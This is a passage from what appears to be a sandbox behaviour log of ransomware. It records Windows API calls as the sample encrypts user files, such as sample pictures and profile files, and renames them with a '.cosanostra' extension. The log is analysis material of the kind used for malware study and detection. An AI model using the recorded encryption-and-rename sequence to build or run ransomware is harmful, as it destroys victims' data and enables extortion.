dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f660*=0x30) returned 1 [0090.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.589] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f660 | out: pbBuffer=0x251f660) returned 1 [0090.589] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f658*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f658*=0x30) returned 1 [0090.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\." (normalized: "c:\\users\\public\\recorded tv\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.592] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f658 | out: pbBuffer=0x251f658) returned 1 [0090.593] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f650*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f650*=0x30) returned 1 [0090.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.593] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg") returned 55 [0090.593] StrStrW (lpFirst="Tulips.jpg", lpSrch=".txt") returned 0x0 [0090.594] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.594] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f614, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f614*=0x2800, lpOverlapped=0x0) returned 1 [0090.594] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.594] WriteFile (in: hFile=0x138, lpBuffer=0x251f654*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f614, lpOverlapped=0x0 | out: lpBuffer=0x251f654*, lpNumberOfBytesWritten=0x251f614*=0x4, lpOverlapped=0x0) returned 1 [0090.595] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f614, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f614*=0x30, lpOverlapped=0x0) returned 1 [0090.595] CloseHandle (hObject=0x138) returned 1 [0090.595] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.cosanostra")) returned 1 [0090.596] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f650 | out: pbBuffer=0x251f650) returned 1 [0090.596] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f648*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f648*=0x30) returned 1 [0090.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.597] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned 57 [0090.597] StrStrW (lpFirst="Penguins.jpg", lpSrch=".txt") returned 0x0 [0090.598] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.598] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f60c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f60c*=0x2800, lpOverlapped=0x0) returned 1 [0090.598] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.598] WriteFile (in: hFile=0x138, lpBuffer=0x251f64c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f60c, lpOverlapped=0x0 | out: lpBuffer=0x251f64c*, lpNumberOfBytesWritten=0x251f60c*=0x4, lpOverlapped=0x0) returned 1 [0090.599] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f60c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f60c*=0x30, lpOverlapped=0x0) returned 1 [0090.599] CloseHandle (hObject=0x138) returned 1 [0090.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.cosanostra")) returned 1 [0090.599] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f650 | out: pbBuffer=0x251f650) returned 1 [0090.600] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f648*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f648*=0x30) returned 1 [0090.600] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.600] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned 59 [0090.600] StrStrW (lpFirst="Lighthouse.jpg", lpSrch=".txt") returned 0x0 [0090.601] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.601] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f60c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f60c*=0x2800, lpOverlapped=0x0) returned 1 [0090.601] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.601] WriteFile (in: hFile=0x138, lpBuffer=0x251f64c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f60c, lpOverlapped=0x0 | out: lpBuffer=0x251f64c*, lpNumberOfBytesWritten=0x251f60c*=0x4, lpOverlapped=0x0) returned 1 [0090.602] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f60c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f60c*=0x30, lpOverlapped=0x0) returned 1 [0090.602] CloseHandle (hObject=0x138) returned 1 [0090.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.cosanostra")) returned 1 [0090.603] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f648 | out: pbBuffer=0x251f648) returned 1 [0090.603] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f640*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f640*=0x30) returned 1 [0090.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.604] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned 54 [0090.604] StrStrW (lpFirst="Koala.jpg", lpSrch=".txt") returned 0x0 [0090.605] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.605] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f604, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f604*=0x2800, lpOverlapped=0x0) returned 1 [0090.605] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.605] WriteFile (in: hFile=0x138, lpBuffer=0x251f644*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f604, lpOverlapped=0x0 | out: lpBuffer=0x251f644*, lpNumberOfBytesWritten=0x251f604*=0x4, lpOverlapped=0x0) returned 1 [0090.607] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f604, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f604*=0x30, lpOverlapped=0x0) returned 1 [0090.607] CloseHandle (hObject=0x138) returned 1 [0090.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.cosanostra")) returned 1 [0090.607] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f648 | out: pbBuffer=0x251f648) returned 1 [0090.607] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f640*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f640*=0x30) returned 1 [0090.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.608] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned 58 [0090.608] StrStrW (lpFirst="Jellyfish.jpg", lpSrch=".txt") returned 0x0 [0090.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.609] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f604, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f604*=0x2800, lpOverlapped=0x0) returned 1 [0090.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.609] WriteFile (in: hFile=0x138, lpBuffer=0x251f644*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f604, lpOverlapped=0x0 | out: lpBuffer=0x251f644*, lpNumberOfBytesWritten=0x251f604*=0x4, lpOverlapped=0x0) returned 1 [0090.610] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f604, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f604*=0x30, lpOverlapped=0x0) returned 1 [0090.610] CloseHandle (hObject=0x138) returned 1 [0090.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.cosanostra")) returned 1 [0090.611] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f640 | out: pbBuffer=0x251f640) returned 1 [0090.611] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f638*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f638*=0x30) returned 1 [0090.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.611] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned 59 [0090.612] StrStrW (lpFirst="Hydrangeas.jpg", lpSrch=".txt") returned 0x0 [0090.613] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.613] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f5fc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f5fc*=0x2800, lpOverlapped=0x0) returned 1 [0090.613] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.613] WriteFile (in: hFile=0x138, lpBuffer=0x251f63c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5fc, lpOverlapped=0x0 | out: lpBuffer=0x251f63c*, lpNumberOfBytesWritten=0x251f5fc*=0x4, lpOverlapped=0x0) returned 1 [0090.614] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f5fc*=0x30, lpOverlapped=0x0) returned 1 [0090.614] CloseHandle (hObject=0x138) returned 1 [0090.614] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.cosanostra")) returned 1 [0090.614] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f640 | out: pbBuffer=0x251f640) returned 1 [0090.615] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f638*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f638*=0x30) returned 1 [0090.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.615] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini") returned 56 [0090.615] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.713] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffba0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.714] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x251f5fc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f5fc*=0x460, lpOverlapped=0x0) returned 1 [0090.714] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.714] WriteFile (in: hFile=0x138, lpBuffer=0x251f63c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5fc, lpOverlapped=0x0 | out: lpBuffer=0x251f63c*, lpNumberOfBytesWritten=0x251f5fc*=0x4, lpOverlapped=0x0) returned 1 [0090.714] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f5fc*=0x30, lpOverlapped=0x0) returned 1 [0090.714] CloseHandle (hObject=0x138) returned 1 [0090.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini.cosanostra")) returned 1 [0090.715] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f638 | out: pbBuffer=0x251f638) returned 1 [0090.715] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f630*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f630*=0x30) returned 1 [0090.715] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.715] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f638 | out: pbBuffer=0x251f638) returned 1 [0090.715] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f630*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f630*=0x30) returned 1 [0090.715] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Saved Games\\." (normalized: "c:\\users\\default\\saved games\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.758] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f630 | out: pbBuffer=0x251f630) returned 1 [0090.758] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f628*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f628*=0x30) returned 1 [0090.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.758] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG") returned 35 [0090.758] StrStrW (lpFirst="NTUSER.DAT.LOG", lpSrch=".txt") returned 0x0 [0090.864] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.864] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x251f5ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f5ec*=0x400, lpOverlapped=0x0) returned 1 [0090.864] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.864] WriteFile (in: hFile=0x138, lpBuffer=0x251f62c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5ec, lpOverlapped=0x0 | out: lpBuffer=0x251f62c*, lpNumberOfBytesWritten=0x251f5ec*=0x4, lpOverlapped=0x0) returned 1 [0090.865] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5ec, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5ec*=0x30, lpOverlapped=0x0) returned 1 [0090.865] CloseHandle (hObject=0x138) returned 1 [0090.865] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat.log.cosanostra")) returned 1 [0090.866] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f628 | out: pbBuffer=0x251f628) returned 1 [0090.866] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f620*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f620*=0x30) returned 1 [0090.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\." (normalized: "c:\\users\\default\\links\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.937] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f620 | out: pbBuffer=0x251f620) returned 1 [0090.937] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f618*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f618*=0x30) returned 1 [0090.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.938] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url") returned 67 [0090.938] StrStrW (lpFirst="Windows Live Spaces.url", lpSrch=".txt") returned 0x0 [0090.939] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.939] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x251f5dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5dc*=0x85, lpOverlapped=0x0) returned 1 [0090.939] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.939] WriteFile (in: hFile=0x138, lpBuffer=0x251f61c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5dc, lpOverlapped=0x0 | out: lpBuffer=0x251f61c*, lpNumberOfBytesWritten=0x251f5dc*=0x4, lpOverlapped=0x0) returned 1 [0090.939] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5dc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f5dc*=0x30, lpOverlapped=0x0) returned 1 [0090.939] CloseHandle (hObject=0x138) returned 1 [0090.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.cosanostra")) returned 1 [0090.941] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f618 | out: pbBuffer=0x251f618) returned 1 [0090.941] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f610*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f610*=0x30) returned 1 [0090.941] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.941] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url") returned 65 [0090.941] StrStrW (lpFirst="Windows Live Mail.url", lpSrch=".txt") returned 0x0 [0090.942] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.942] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x251f5d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f5d4*=0x85, lpOverlapped=0x0) returned 1 [0090.943] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.943] WriteFile (in: hFile=0x138, lpBuffer=0x251f614*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f5d4, lpOverlapped=0x0 | out: lpBuffer=0x251f614*, lpNumberOfBytesWritten=0x251f5d4*=0x4, lpOverlapped=0x0) returned 1 [0090.943] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f5d4, 